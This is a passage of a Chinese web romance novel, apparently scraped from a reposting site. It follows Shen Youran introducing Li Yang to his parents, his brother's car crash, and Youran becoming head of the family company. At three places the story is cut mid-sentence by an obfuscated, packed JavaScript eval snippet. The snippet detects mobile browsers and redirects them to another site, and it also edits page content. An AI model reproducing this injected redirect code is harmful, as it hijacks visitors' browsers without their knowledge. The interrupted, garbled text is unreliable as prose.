只要他在明天黎泱醒来前离开,她什么都不会发现。就和晚宴那次不正式的探戈舞一样,黎泱到现在也不记得。 沈有容从身后抱住黎泱,隔着一层被子和女孩相拥,慢慢闭上了眼。 ......可惜了,她不记得。 . 假期结束后,一切如旧,回到了往日的正常生活。 唯一觉得不正常的人是项怀英。 他回到别墅,发现家里多了两个病人。 一个嗓子哑了,一个满身抓痕。 一个是黎泱,一个是沈有容。 活了大半辈子的项怀英当然知道发生了什么。过去三天四夜家里只有黎泱和沈有容两人,好像不发生什么都对不起这个条件。 项怀音亲眼见证着两人的感情经历,到了这一步,竟然觉得有一丝的欣慰。 在给沈有容上药的时候,项怀英看着结痂又抓破,新痕带旧痕的伤口,一时觉得有些语塞。 想了又想,才犹豫地说:“少爷,年轻人还是不要这么放纵。” 沈有容趴在沙发上等着药膏晾干,闻言道:“只是看着严重。” 轻微划痕症就是这样,容易留下印记又不易消除。 其实之所以现在看着这么严重,还有一部分原因是沈有容一直拖着没处理。 至于为什么...... 原因大概只有他自己知道。 “我昨天被叫回了家里。” 沈有容突然开口,说的话让项怀英愣住。 “是夫人?” “不,是父亲。” “他问了我,是不是在和人交往。” 听到这,项怀英的神情忽然严肃起来。沈有容坐起身把衣服穿好,面容没有波澜,回忆起那场对话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151285|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>对于父亲沈铮察觉到自己交往的事,沈有容并不意外。 毕竟是做了那么多年的沈家家主,对细枝末节的敏锐洞察力不仅体现在商业博弈中,对身边人更是如此。 沈有容早在心里设想好沈铮会问些什么。 无非会追问黎泱的身份和家世背景,以及知道后,沈铮会露出怎样的失望和否决。 “是,我有交往对象。父亲不用特地派人去调查挖信息,我现在就可以告诉你,她是一个普通人。” 沈有容准备好了说辞和行动,等着看沈铮锁眉的反应。 果然,意料之内,沈铮皱了皱眉。 意料之外,他开口说的话却是: “我知道她是普通人。可你护人的态度是不是有点太明显了?” 沈有容怔住,一时之间不知道该怎么回答。 “在见你之前,你大哥才从这间书房走出去。”沈铮喝了口茶,放下杯盏,看着自己沈有容:“你们兄弟间倒是消息互通,把我和你母亲瞒得严实。” 沈铮顿了顿,又补充说:“哦,这事Cindy应该也参与进去了吧。以她的个性,不可能不做。” 外出购物的沈汀仪忽然打了个喷嚏,怎么感觉背后有点冷。 话都说到了这地步,已经全部都摊明了。沈有容也没有什么顾忌的,点头认下:“是我的主意,觉得事情还没有敲定前不想让你们关注。” 沈铮感到一丝惊讶。怎么听沈有容的这个语气,是他主动追的人? 不然怎么还会小心翼翼要其他人替他打掩护。 他按下心头的疑虑,面上不显,依旧用冷静的口吻说:“那天你打电话说发烧,其实也是装病吧。” 知子莫若父,况且沈有容用过的招数,沈铮早在年轻追庄明意的时候就用过了。 “是。”沈有容坦然应下,开始翻沈铮的旧账:“我记得爷爷之前告诉我,你谈恋爱的时候也是三天两头装病,想让庄女士心疼来看你......” 沈铮适时咳嗽一声,打住了他的话。 “好了,别岔开话题。有容,我今天找你就是已经知道了你们交往的事。” 沈有容:“所以?” 他想好了,如果沈铮接下来态度强硬,也没有再继续聊的必要。 沈铮:“怎么这么看着我,以为我会要你立刻分手?” 沈有容没说话,等着看他到底要卖什么药。 “找个时间,安排她和我们见一面吧。” “你的意思是——” “我什么都没说,没有认可和否决。一个人到底怎么样,接触了才能判断。” 虽然沈铮没有明说态度,可沈有容知道,这已经是让步了。 原以为会是最大的阻挠,他也做好了拉锯的准备。 可没想到,比预期的要轻松。 就在沈有容要离开之际,沈铮忽然叫住他,说了一句话: “有容,你该庆幸自己的身份。” . 项怀英从沈有容口中听完这些,斟酌问道:“先生和夫人既然要见黎小姐,那她是否知道这件事?” 他也是算是沈家的老人了,这些年游走在豪门间,见多太多最后结局不随愿的事。爱情是奢侈品,对豪门来说也是这样。 像沈铮和庄明意那样相爱的两人实在是太稀少,大多数是为了利益而联合的商业联姻。私生子和外室,在这个圈子内是稀疏平常的事。 沈有容是沈家的二少爷,身份摆在这,自然也避免不了这些弯弯绕绕。 可沈铮和庄明意表示了要和黎泱见面,从很大程度上来说,已经算是默许。 若是换成其他家族遇到这种事,总会碍于高傲的面子,绝不会做出“这种掉价之事”。要么勒令分开,要么找女方的麻烦让她识趣而退。大多数情况下,都选择后者。 所以项怀英才会为黎泱和沈有容觉得欣慰和庆幸。 “她不知道。” “可我让她答应了。” 这分明是句有歧义的话。 怎么能让一个人在不知情的情况下答应要求。 可沈有容还是这么做了。 楼下,黎泱拿了一个玩具球在和happy玩耍。她把球扔出去,手指一挥,happy又叼着球回来乖乖放到她手里。 似乎是察觉到了有人在看她,黎泱抬头,和来不及收回视线的沈有容对上了目光。 她歪了歪头,指了指自己,大概是不知道发生了什么。 沈有容偏过头,不留痕迹地收回目光。 “就当我有私心。” 想快点敲定。 这句话,不知道究竟是说给项怀英,还是给自己听的。 36. 不夜36 36 直到上车前,黎泱都不知道沈有容要带自己去哪。 她只当是一次普通的外出,要约见的人可能是沈有容的朋友,谈由;或者是已经熟悉的沈汀仪和大哥沈闻时。 等到了地点,进电梯的时候沈有容接了一通电话。 “嗯,在电梯了。” “我没紧张。而是庄女士,你的语气着急了。” “那么明显?好吧好吧,我再预演一遍。” 黎泱耳尖地听到沈有容的称呼,原本放松的身体忽然僵直站住。 他在给庄明意打电话? 他们等会要见的人,是沈有容的父母?! 慌乱和退缩的心情一下奔涌而出,黎泱心中打起了退堂鼓。 沈有容为什么不提前和她说一声,要瞒着今天见面的对象?她,她根本没有做好准备,要去见家长。 太正式了,也太快了。 就好比你前脚刚结束小学毕业,下一秒就让你去参加高考。没有一点征兆,就被推上了考场。 这对黎泱来说绝不是彩券。 电梯向上,屏幕数字不断跳动。 她突然开口: “你今天要带我见的人,是你的父母?” 沈有容掀起眼眸,打量着黎泱的神态。半晌,才无声点了点头。 “可你为什么不提前告诉我?如果没有那通电话,是不是要等见面了才让我知道。” 黎泱知道自己应该克制住语气,可这次沈有容的做法,让她没有体会到信任感。 不互通的信息差,何尝不是一种不对等身份的映射。 “见家长”这个词,对于黎泱来说,仍然处于一个望而生畏的地步。 因为不敢去面对。 就像心头悬着的一颗重物。 在石头没落下前,她还能贪恋着美好;可一旦落下,谁也不知道结局会怎样。 他们会对她满意吗? 会觉得她不够好吗? 如果觉得不相配,会对她说什么,她又要做出什么回应...... 越来越多的疑问在黎泱的脑海中被不断设想。 “叮咚”。 电梯门在这时打开。 黎泱没动,维持着原地站立的姿势。 她泄气地想,逃跑吧—— 她实在是没做好准备,没胆量去面对一个未知的考验,没勇气去设想拿到失败结果要怎么办。 “黎泱——” 沈有容突然叫了她的名字,打断了她的胡思乱想。 “你答应过我的。” “我什么时候......” “喝醉的时候。” “......” 黎泱认真盯着沈有容看了好久,没从他脸上看出任何开玩笑的迹象。 她艰难地从牙关里挤出一句话:“沈有容,你趁人之危。” 男人眉梢微扬:“你觉得这种程度也算?” 眼看着黎泱攥紧了拳头,沈有容这才见好就收,摆手揽下责任。 末了,还要在最后补充一句:“我也不是对谁都这样。” 两人都迟迟未动,电梯门开开合合。 沈有容自知今天是他做的不对,耐下性子问黎泱:“还在生气?” 他揶揄地笑笑,伸手去戳黎泱的脸。 “这位小姐,你要从咬人的兔子变成刺人的河豚了吗?” “如果你父母要给我签五百万的支票,我一定毫不犹豫拿了就走。” 黎泱咬了咬牙齿,有意做出很凶的语气。 她知道,沈有容就是看准了自己吃软不吃硬。 都到了现在的地步,临门一脚,躲不掉了。 “要少了。”听到黎泱的话,沈有容失笑:“你可以再大胆点翻好几倍去提。” “或者两头通吃,也从我这里要钱。” 他替黎泱把脸颊两侧的长发理到耳后,忽然换上认真的语气。 “只要别从我身边离开。” 黎泱闻言,有些怔住,心里涌出复杂的情绪。盯着自己的鞋面,声音低低地说: “沈有容,或许有没有可能,是你把我想得太好了。” 别把她说得那么重要,也别那么重视她。 她害怕最后会看到失望的眼神。 “我对自己的判断和选择有信心。” 沈有容看得清楚,黎泱对外界的评论总会先入为主采取自我否定。这种性格和她过去的成长环境脱离不了干系。 可他觉得,不应该是这样的。 电梯外传来脚步声,好像是沈汀仪。因为太长时间没见到人出现,庄女人让她来看看是什么情况。 沈有容朝黎泱伸出手。 “你不相信我的话?” 黎泱抬眼,从沈有容的瞳孔中看见了自己踟蹰的身影。 沉默了好几秒,才慢慢把手放在了沈有容的掌上。 他覆住手心,包裹住两人的手,牵着黎泱走出了电梯。这次,她没再抵触。 刚好,和到了电梯门口的沈汀仪撞上。 “二哥,黎泱姐。总算等到你们了,我还以为是电梯坏了你们要走楼梯上来呢。” 她见到黎泱,立刻露出雀跃的神情。打完招呼,走在前面带路。 身后,沈有容放慢脚步和黎泱同一步调。两人的手紧贴在一起,暖流传递到脉搏心跳。 他低下头,磁沉带着定心力量的声音悬在黎泱耳侧: “黎泱,你看,身边一直有人在爱你。” . 庄明意第三次打开镜子,审视了自己今天的妆容和穿搭。 她转头,问一旁在看报纸的沈铮:“得体吗?应该没有压迫感吧,会不会显得我不近人情不好接触?” 沈铮第三次抬起头,认真打量了妻子,给出第三次不同回答: “发型很好,口红色号很温热亲和,选的珍珠项链很衬这身衣服,耳饰不会喧宾夺主。” 最后,他给出总结:“今天依然很美丽。” 岁月从不败美人,这句话用在庄明意身上最贴切不过。无论是出嫁前的庄家大小姐还是婚后的沈夫人,都有人好好爱着她,受尽风光和宠爱。 庄明意这才满意地点了点头。 沈铮:“只是和那个黎小姐见一面,不必这么看重放在心上。” 庄明意:“那你呢。你的那页报纸看了半小时了,都没翻动一下。” 沈铮:“......” 庄明意继续说:“等下有容和黎小姐进来,你别对小姑娘那么古板严肃。当年我第一次见到你,也被你面无表情的脸给唬住了......” 沈铮无奈地合上报纸,又不好打断庄明意,只能听她交代。 等到庄明意说完,问他:“记住了吗?” 他才无奈道:“怎么觉得我成了外人?” 家里五个人,四个人都已经统一了战线。沈有容不必说。沈汀仪对黎泱都是夸奖的话,连最懂事顾全大局的沈闻时也替他们打掩护。 至于庄明意,她自从亲眼看见黎泱出现在沈有容卧室的时候,就开始上心。而且,三个孩子都对黎泱有好感,让她更加好奇。 “那位黎小姐的身份,你和我都清楚是普通人。就是因为这点,有容才一直没和我们明说,但也恰好说明他有多珍重,才会谋划一个足够合适的时间安排见面。” 庄明意说的话,她知道沈铮自然也清楚。 庄、沈两家都是港城的世家,身在这样的豪门环境里,他们也都清楚其中的弯弯绕绕。 在这个圈子,身份就是一道无形的门槛,行成严格的阶级分界线。 所以黎泱的处境才会尴尬。 但,她又是沈有容喜欢的人。 这么多年,第一个让他动心的人。 庄明意是一个母亲,对子女的了解程度超过任何人。她很清楚,黎泱于沈有容而言有多不同和重要。 所以她才会格外在意,沈铮对黎泱的态度。 沈铮沉声道:“在今天之前,闻时已经找我聊过。今天的见面,从很大程度上来说,是他推成的。” 庄明意愣了一下,很快就明白了他的意思。 “他们兄妹三人,闻时身为大哥是最懂事负责的。” “是啊。可有时候我又会觉得,这对闻时太残酷。” 沈铮叹了口气,包含的情绪太多。 他对沈有容说,要庆幸他的身份。 因为他位列第二,上面有沈闻时替他分担了太多的责任。 在外界看来,沈闻时长子和继承人的身份带给了他无上的权利,毕竟未来会接手宁恒集团,成为下一任掌舵者。 可实际上,越是身处高位,越是出于风浪强压之中。 这些年,沈铮逐渐放权退居二线。沈闻时接手公司后,面临的压力和责任有多大,只有他自己一个人知道。 他从中斡旋,和沈铮谈判,替沈有容争取了——做主感情的权利。 可对沈闻时自己来说,他人生中的很多事,不是自己能做主的。 欲戴王冠,必承其重。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151286|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >权利和责任。 是他逃不掉的矛盾。 . 黎泱坐在沈有容旁边,对面是庄明意,沈铮和沈汀仪。 从进入包厢开始,她就处于神经高度紧绷的状态。脊背挺得笔直,留意着周围人对她的视线。 见到庄明意和沈铮的第一眼,黎泱就看出两人的气势非同寻常。也终于知道,沈有容的样貌是从哪遗传来的了。 庄明意保养得很好,眉眼温柔,体态优美。她和沈汀仪坐在一起的时候,不难看出年轻时也是明媚肆意的美人。 沈铮的气势更沉稳庄重,带着岁月沉淀下来不怒自威,却没有让人不适的审视眼光。 黎泱在观察的同时,庄明意也在看黎泱。 庄明意对她的第一印象,就是太漂亮了。最重要的,是她眼神格外明亮澄澈,没有那些沾染了世事的浑浊。 但仔细看下来,黎泱似乎有些畏缩不自信,并不懂得如何完全展现她的美。 庄明意悄悄看了眼沈有容,心想:难怪之前这小子都没有动心的人,她想过那么多原因,原来是眼光太挑剔。 等等......他不会对黎泱是一见钟情见色起意吧? 沈有容对上庄女士的视线,莫名从中察觉到一丝怪异,却不知道是什么原因。 他看了眼那把空缺的椅子,问:“大哥还没到?” 沈汀仪回答:“半小时前他打电话说从项目施工处回来,已经在路上了。算算时间,应该要不了多久就到了。” 黎泱拘谨地坐在位置上,手心微微出汗。 她想,等庄明意开口问她情况的时候,自己该怎么回答那糟糕的过去。 搁在膝盖上握成拳的手掌忽然被人一根手指一根手指掰开。黎泱低头去看,发现沈有容的手不知道什么盖了上。 他什么都没做,只是无声的安抚。 “黎泱小姐,你和有容认识多久了?” 来了,庄明意开口问她了。 “大概......快五个月了。” 黎泱想:千万别问她是怎么和沈有容认识的。 真要说认识,那得从她在商场骂沈有容那次说起。 ......实在是,太尴尬的初遇了。 但是怕什么来什么。 庄明意露出十分感兴趣的样子,追问:“那么,你们是怎么认识的?” 黎泱把求救的目光投向沈有容。 偏偏沈有容也撑着手臂歪头看着她,笑着说:“我也想从你口中重温一遍初遇的经历。” 黎泱:“......” 啊啊啊他不许想! 明明他也是当事人!怎么把话题全部抛给了自己! 就在她绞尽脑汁不知道该怎么回答的时候,沈有容才慢悠悠开口:“沈汀仪接我回国那天,因为某个意外遇到了她。” 听到这,沈汀仪狐疑道:“嗯?我也在场?” 为什么她一点印象都没有? 沈有容吊足了胃口,却没了再往下说的心思:“嗯,慢慢猜。” 沈汀仪:“......” 她转头告状:“黎泱姐!你看我哥只会欺负我啊——” 看着他们几人玩闹的样子,沈铮和庄明意对视一眼,都从彼此的眼中看到了想要表达的感情。 一番接触下来,庄明意已经对黎泱有了更细致的观察了解。 她原本也担心怀疑过黎泱。毕竟在自己的三个子女口中,都将她描述得很好。越绝对趋同的东西,才会更可疑。 但今天真正和黎泱见过面后,打消了她开始的疑心。 庄明意不是没头脑的女人,相反,在她的生活环境中,早就锻炼了识人的本领和非凡的心智。她看得出,黎泱性子单纯,眼中没有算计。 而且,她觉得比起在黎泱和沈有容的相处当中,好像沈有容才是最依赖人的那一个。 否则怎么大半的时间里,他的视线都始终落在黎泱身上。 庄明意摇了摇头,觉得有些没眼看。 沈有容看了眼时间,已经过去了十几分钟,但沈闻时却迟迟没有到场。 “我出去打个电话。” 他带上房门离开。看着旁边空出的椅子,不知道为什么,黎泱心里忽然觉得有些不对劲。 她看了眼玻璃,发现窗外不知何时起了乌云,半边天空都黑沉下来。 要变天了。 就在这时,刚刚出去的沈有容忽然折返。他神情变得严峻,下颌紧绷,眼中闪过一丝凝重。 “大哥出事了。” 37. 不夜37 37 手术室外,灯光通明。 这是谈家旗下的高级私人医院,隐秘性和保护措施都做得极好。这一层此刻被清场,走廊门口挂有止步的标识。 紧张肃杀的氛围在两侧过道弥散,寂静无声。 黎泱抬头,看到抢救室门顶仍然显示红灯。已经过去快两个小时,她的心跟着沉了又沉。 沈有容在饭局接到那通电话后,他们就立刻驱车赶往医院。 路上,黎泱频频看向沈有容,担心他的反应。 沈闻时在从实地视察回来的途中出了车祸。原定的返回时间是明天,但他提前了计划。 事故发生后,沈闻时被立刻送往了就近的医院。他的身份特殊,有媒体拍到了画面,很快网上便捕风捉影,引起了铺天盖地的关注。 在这种情况下,必须要转移医院,不能让消息再透露出去。最后是谈老院长出面,秘密安排了所有的事。 等到黎泱他们一行人赶到医院的时候,只能在抢救室外焦急等待。 沈汀仪没了往日的雀跃活力,靠在黎泱的肩上,眼中满是担忧和焦虑。她的眼眶也通红一片,但强忍着没有落泪。 庄明意虽然仍旧端庄,可脸上掩饰不住憔悴了几分。沈铮坐在旁边紧握住她的双手,两人谁都没有说话。 黎泱目光看向沈有容。他靠在墙壁上,留给她的只有一个侧脸,看不清神情。 他的身姿有些寂寥和落寞,身影被灯光拉长。是黎泱从来没见过的另一面,不复往日的肆意张扬。 怎么会变成现在这样—— 明明几个小时前不是这样的。 黎泱拍了拍沈汀仪的背安抚,低头盯着自己的脚尖。她在心里用力祈祷:一定会没事的,一定会没事。 沈闻时那么好的一个人,怎么会出事呢...... 她回想起之前和沈闻时接触的几次,他待人总是温润如玉,谦和沉稳。 外人眼中他是顾全大局能力不凡的沈家长子,但同时他也是细心照料弟弟和妹妹的大哥。会替他们解决所有的事和烦恼,被沈汀仪笑称“大哥是万事灵的机器猫”,就连对黎泱一个外人也是那么有礼数。 怎么会出事呢...... 忽然,门顶的灯光暗了下去,从里面被医生推开。 黎泱下意识站起身,扶起沈汀仪。 医生将沈铮和沈有容带远,和他们隔开了一段距离,不知道交谈的内容是什么。 黎泱试图从表情去分析,但一无所获。 几分钟过后,沈有容和沈铮回来。 沈汀仪立刻上前去问:“大哥他怎么样了?” “Cindy,你和爸妈先回去,听话。” 庄明意似乎知道了什么,和沈铮交流了眼神后,心口微微起伏。她揽住沈汀仪的肩膀,也许是要带她走,也许是想稳住自己的身形。 沈汀仪从来没有觉得,庄明意的手像今天这么凉过。她张了张口,欲言又止: “大哥他......” “Cindy。” 庄明意叫住她,轻轻摇了摇头,嗓音带着不易察觉的哀绪:“现在是在外面,不是家里。” 沈汀仪低下头,吸了吸鼻子。 “......我知道了。” 黎泱看到这,一股深深的无力感在内心蔓延开来。在他们离开后,留下的只有她和沈有容两人。 沈有容坐在椅子上,低着头,好像封闭了自我抗拒和外界接触。 过了很久,在黎泱思索要怎么开口的时候,听到他叫了自己的名字。 “黎泱。” “大哥的情况很不好。” 因为整晚的奔波和等待,让沈有容的声音变得沙哑,染上了浓浓的疲惫和倦意。 她想做点什么,去安抚他的情绪。可思来想去,能做的就只是倾听和陪伴。 “秘书说,他为了今天能赶回来和我们见面,才提前了计划。” “如果晚一天,就不会遇到暴雨,发生今天的意外了......” 听到沈有容的话,黎泱清楚他是在自责,把问题的原因都揽到了自己身上。 “这不是你的问题。” 她心疼地蹲下身,握住了沈有容放在膝盖上的手,抬头看向他。 “你看着我,沈有容。意外不是谁能预见的,现在不是内疚的时候。” 透过发梢,黎泱捕捉到沈有容破碎的眼神。她觉得心口像被深深刺痛了一下。因为印象里的沈有容,不应该是这样的。 他从来都应该是随性又从容的,对所有事都不放在心上。没有能让他值得皱眉伤脑筋的事,游刃有余处理一切。 而不是像现在这样顾影自怜,孤独失意。 “黎泱,别看我了。” 沈有容伸手挡住了她的眼眶,掌心是干燥而温热的。他自嘲地笑笑:“我现在的样子,是不是很狼狈?” 黎泱也经历过失去亲人的痛苦。即使父母去世的时候她还太小,可那段记忆永远也不会被抹去。 正因为如此,她才比谁都懂沈有容现在的感受。 她拉下沈有容的手,站起身,抱住了他。 因为身高差异,平日里的拥抱黎泱都是被动的那一方。从来没有像现在这样,是她给予沈有容怀抱。 她学着过去沈有容的动作,用力抱住他的后背,想把力量和温度传递给他。 “大哥绝对不会希望你是现在的样子。” “你还有家人,还有我。沈有容,你要振作起来。” 几秒过后,像是回应,面前的人也伸手抱住了她。 黎泱听到了沈有容很浅很浅的叹息。 他说:“黎泱,我想你一直陪着我。” . 手术结束,但沈闻时始终没有醒过来。急性损伤导致的昏迷状态,也就是医学上俗称的植物人。 没有人能够断定他是否有醒来的可能。 即使事故发生那晚已经封锁了消息,可依然挡不住有心之举。网上已经传出某豪门家中变故的传言,虽然没有直接点明身份,可话锋间都指向了沈家。加上沈闻时已经接连多日没有在公司露面,消息快要瞒不住了。 这天晚上,宁恒集团官方发布了通告,将在明天举行发布会,回应近期的舆论。 这无疑是变相印证了传闻并非空穴来风,于是引发了更多人的讨论关注。 所有人都在猜测,经历这次巨大变动后,沈家能不能撑住,会不会垮台。 毕竟一个继承人的培养要耗费大量时间和精力。沈闻时出事,等于沈家过去这么多年的培养见空。 过去没人会质疑沈闻时的领导能力,在他接手公司以来,带领集团取得的成就和效益超过以往任何时候。可他现在倒下后,宁恒这杆大旗,又能由谁来引领? 黎泱退出手机的新闻页面,看了眼时间,已经是晚上十点半了。 她站在窗边朝院子外张望,没有任何来车的动静。 这几天的时间里,沈有容变得早出晚归,格外忙碌。黎泱很少能够和他打照面,即便是遇见了,也匆匆忙忙说不上两句话。 黎泱知道沈有容也许有心事要自己消化,有很多事情要忙。 可她身为伴侣,也想亲眼确认他的状态。 一句话不说,一个面也见不到。 不是正常的状态。 黎泱决定今晚要守在客厅,她要亲自等到沈有容回来。 happy已经进了笼子,埋头枕着尾巴睡着了。黎泱只留了一盏落地灯,拿了本书,躺在沙发上翻看。 零点过后,院子外依然没有任何动静。 黎泱忽然有些泄气,用手机给沈有容发去一条消息: “你今晚不回家了吗?” 十分钟过去,消息像石沉大海,没有任何回复。 黎泱叹了口气,觉得今晚真的等不到沈有容回来了。 就在下一秒,外面突然亮起了两道车灯。 黎泱急忙跳下沙发,匆忙中磕到了茶几角,膝盖上离开传来顿感,疼得她差点落泪。 可她没去管,也没心思去查看伤口。 跑到玄关的时候,看到沈有容恰好推门进来。 “你......” 他似乎也没想到黎泱这个点还没睡觉。 “我给你发了消息。” “路上开车没来得及看。” 沈有容顿了顿,“这个点了,你怎么还没回房去?” “因为我在等你,等你终于有机会见我,和我说话。” 隔着一段黑暗的距离,黎泱看不清沈有容的面容。可她能察觉到,他的视线是看着自己的。 她往前走了一步,问: “沈有容,你最近是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168216|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在躲我?” 他并没有立刻回答。沉默良久,反问:“为什么这么想?” 黎泱愣了一下。 胸腔溢出发涩的情绪,突然觉得,好像自己今天的做法确实挺没意思的。 她再追问下去,落在沈有容眼中会不会认为她好不知趣,觉得厌烦。 黎泱深吸一口气,故作轻松道:“这样,你不想说就不说吧。” 她转身要走,动作牵连到膝盖,刚才短暂忘却的疼痛一下子又找了上来。 黎泱这次却没忍住,眼睛又酸又涩,一团又一团的泪水顺着脸颊流下。 她咬着牙关,咽下哽咽,借着黑暗,不想被人发现。 然后刚走了两步,身后紧跟着传来脚步声。 沈有容拽住了她的手腕。 月光穿透客厅窗帘,折射出淡淡的光亮。 借着昏暗的月色,他看见了黎泱脸上的泪痕。 沈有容用手指替她抹去眼泪,无奈地叹了口气,问:“怎么哭了?” “我没哭。”黎泱倔强地偏过头去不看他,“是太困,打哈欠流眼泪了。” 沈有容并没有拆穿她。 “太晚了,我回去睡觉了。” 说完,黎泱就要越过他上楼。沈有容看到她别扭的走路姿势,隐约猜到了什么。 他上前两步追上黎泱,把她拦腰抱起。 陡然失重,让黎泱吓了一跳。她下意识攀住沈有容的脖子,平稳了情绪后才说:“你做什么?” 沈有容把她送到了她的卧室,又找来了药箱。 “你自己上药,还是我帮你。” 想到刚才在楼下时他的冷淡态度,黎泱也有了情绪。 “我不用你管。” 沈有容就这么无声看着她。 让黎泱觉得,他冷静地就像在看一个无理取闹的人。 是啊,她多无理取闹。 别管她了,从头到尾都是她在无理取闹。 黎泱感到鼻子又在不争气地发酸。 她抢在失控前,钻进了被子,把自己紧紧蜷缩在里面。 不去看沈有容一眼。 许久过后。 她听到了房门被带上的声音。 黎泱在心里默默数了五百个数,才从被子中钻出来。 沈有容已经离开了。他关了灯,给她留了床头柜的小夜灯,止痛喷雾也放在上面。 . 宁恒发布会这天,黎泱陪沈汀仪去了趟医院。 监护病房不能进,她们只能隔着玻璃,看着躺在病床上的沈闻时。他的脸上扣着一个呼吸面罩,紧闭着双眼,脸上没有任何表情,看起来只是睡着了。 沈汀仪收回目光,和黎泱走出病房。 那晚过后,她好像一夜之间也长大了。不再是那个只会缠在父母和兄长面前撒娇的懵懂少女。 “黎泱姐,我现在才知道,大哥之前在的时候为我们默默付出了多少。” 她们坐在楼下的一间便利店,看到店里的电视恰好在播放新闻。画面正显示进行中的发布会。 宁恒的发言人就近期的舆情做出了回应,说出了沈闻时出车祸的事。场下登时一片哗然,媒体席间议论纷纷。 有记者尖锐地抛出问题:“那么请问贵方,是否已经选出了具有接任集团执行董事资格的人选?” 发言人也显然早就料到了这个问题,点头回复道:“当然,新任董事也要现场,明天正式就任。” 镜头一闪,画面中出现了一道黎泱熟悉的身影—— 是沈有容。 他像完全蜕变成了另一个人。身着黑色西装,内搭的衬衫一丝不苟系到了最上面一颗。银灰色斜纹领带上打得是颗饱满的温莎结,更显成熟稳重。 沈有容的身上没了过去的随性散漫,取而代之的是冷静自持,沉稳镇定。 黎泱看到屏幕中的这样的他,忽然觉得有一丝陌生。 沈有容目不斜视对着镜头,站到了话筒前。 “即日起,将由我出任宁恒的新任执行董事。” 发言完毕后,他走向了那个位于正中间的空缺座位,拉开椅子从容坐下。 闪光灯接连亮起,所有在场的媒体都举起手中的摄像机对准他,记录下了这一刻—— 这就是沈家对外界的回应。 沈有容,会接任成为新的继承人。 38. 不夜38 38 黎泱此刻终于知道,为什么沈有容最近会鲜少露面那么忙了。 在沈闻时出车祸后,集团内部的权力交迭,外界那么大的舆论压力,全部都落到了沈有容一个人身上。 她不是没有预料过这种可能,但过去沈有容对进入宁恒任事表现得很排斥。而今天在镜头前,他却表现得镇定自若。 又或者说,他现在不得不怎么做。 沈铮的年岁已经不适合再出面负责集团的事,宁恒需要一个更年轻有魄力的人出现。不仅仅是稳住局面,还要对外界传递一条讯息: 大厦将倾的事,决不会发生在沈家身上。 沈汀仪看着电视屏幕,叹了口气。 “二哥这段时间一直在忙公司的事,很久没有回过家里。妈咪听说他睡在公司的休息室很心疼,被我撞见了好几次她偷偷掉眼泪。” “我以前觉得,自己每天过得很开心,无忧无虑什么都不需要操心。可现在才知道,那都是有人替我承担了一切。” 沈汀仪已经不是懵懂无知的少女,走出了过去被父母和兄长呵护的伊甸园。 黎泱觉得欣慰,可又觉得这不该发生。 她更希望看到的,还是那个每天都活泼快乐,充满生机的小姑娘。 她盯着出现在镜头中沈有容的脸,恍然发现在不知不觉中,他好像瘦了些,下颌线条更加清晰锋利。 可昨晚在家里遇见的时候,她压根就没有发现。 黎泱忽然意识到,自己昨晚和沈有容赌气的做法,好像真的是她做的不对。 沈有容白天已经疲于忙着处理公司的事,晚上回到家还要应付她的脾气。会感到厌烦,那是肯定的事吧。 她是不是真的在无理取闹。 总是......在搞砸事情。 黎泱决心要做些什么去弥补。 和沈汀仪分开后,她回到家问了项怀英关于沈有容工作安排的事。在得知他今天只有发布会一项工作后,黎泱去了厨房。 过去在孤儿院生活的时候,很多事都需要黎泱自食其力。在佣人的帮助下,她按照平常沈有容的口味,做了他喜欢的菜肴。 黎泱掐着时间,想赶在餐点前给沈有容送去。去揭煲汤的盖子时,匆忙中没有戴手套,被烫伤了。 她白皙的手指上立刻出现骇人的深红痕迹。佣人在旁边惊呼,要带她去处理伤口。黎泱摇了摇头,只把手放到冷水下冲了一会。担心时间来不及,拎着食盒出门了。 等她到了宁恒总部,当前台询问她是否有预约的时候,黎泱忍住了给沈有容发消息的冲动。 就当是给他准备的惊喜。 她耐心地坐在了大厅的等候区,在心里默默想。 发布会已经结束,黎泱看到许多带着采访证的媒体工作人员从电梯涌出。那么,沈有容应该也会出现的吧? 她翘首观察着人群,想从中找到自己想见的那道人影。 可直到人群接连散去,大厅重新恢复到安静。整个等候区又变成只有黎泱一个人的时候,她还是没能看到沈有容。 也许他还在办公室,有工作要处理吧。 黎泱安慰自己:再耐心等等,还是不要随随便便去打扰他了。 又过了半个小时。 她还是什么都没有等到。 她看着放在面前桌上食盒,担心再等下去会冷掉。正犹豫要不要给沈有容发条消息确认一下的时候,忽然看见前方的一道电梯打开了。 从里面走出七八个人,被簇拥在中间的,正是沈有容。 黎泱眼睛一亮,站起身想要对沈有容挥手示意。 可在看到他眼神的一瞬间,忽然愣在了原地。 沈有容朝她投来了视线,又很快不留痕迹地收回。 